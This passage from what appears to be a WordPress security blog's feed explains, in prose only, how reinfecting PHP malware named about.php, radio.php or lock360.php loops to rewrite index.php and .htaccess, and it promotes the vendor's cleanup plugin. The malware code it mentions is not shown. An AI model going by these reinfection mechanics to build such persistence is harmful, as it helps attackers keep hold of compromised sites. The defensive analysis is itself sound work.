/*9c46d*/, the malware that is executed every time index.php is accessed will no longer be loaded and executed. However, if the re-modification continues, it is highly likely that there is another reinfecting malware somewhere on the server. (There may be a process on the server that continues to run malware in an infinite loop.) If the malware cannot be removed as soon as possible, the search engine may judge the site as a malware-infected site and lower its search ranking, or it may register incorrect search results, or the legitimate page may be sent to another site. We also recommend that you use plug-ins to perform a comprehensive inspection and removal of malware.

					<description><![CDATA[We will analyze the malware hidden in the process of automatically rewriting index.php and htaccess files and explain how it works. Analysis of process-type malware files Malware files that enter the process and automatically rewrite index.php or htaccess even after disinfection are often named about.php, radio.php, lock360.php, or l.php. (In some cases, however, the creation and deletion of these files are combined in a loop process, so they may not remain on the server.) Let&#8217;s analyze how this file rewrites index.php and htaccess under the cover of the process. The malware itself is obfuscated as follows After de-obfuscation, the following code appears. While(true) represents an infinite loop. This infinite loop remains in the process, and in it there is a script that determines if the malware has been disinfected or not, and if so, the malware reinfection script runs. The following code is activated by the above judgment and rewrites the HTACCESS file, etc. In the last line, the url to execute this script is obtained, and the code after that is sent. It is believed that the infinite loop is being restarted on the hacker&#8217;s remote server. Disinfection of process-type malware files After stopping the infinite loop of this type of malware, we have created and distributed repair scripts for the INDEX.PHP and HTACCESS files Repair HTACCESS and Index.php, which are instantly tampered with again in WordPress Please also use our malware scanning disinfection plugin! Free] WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. Even with the script, the malware itself that reinfects the site or the vulnerability of the site may remain and the problem may reoccur. In this case, we recommend that you consult a specialist.]]></description>
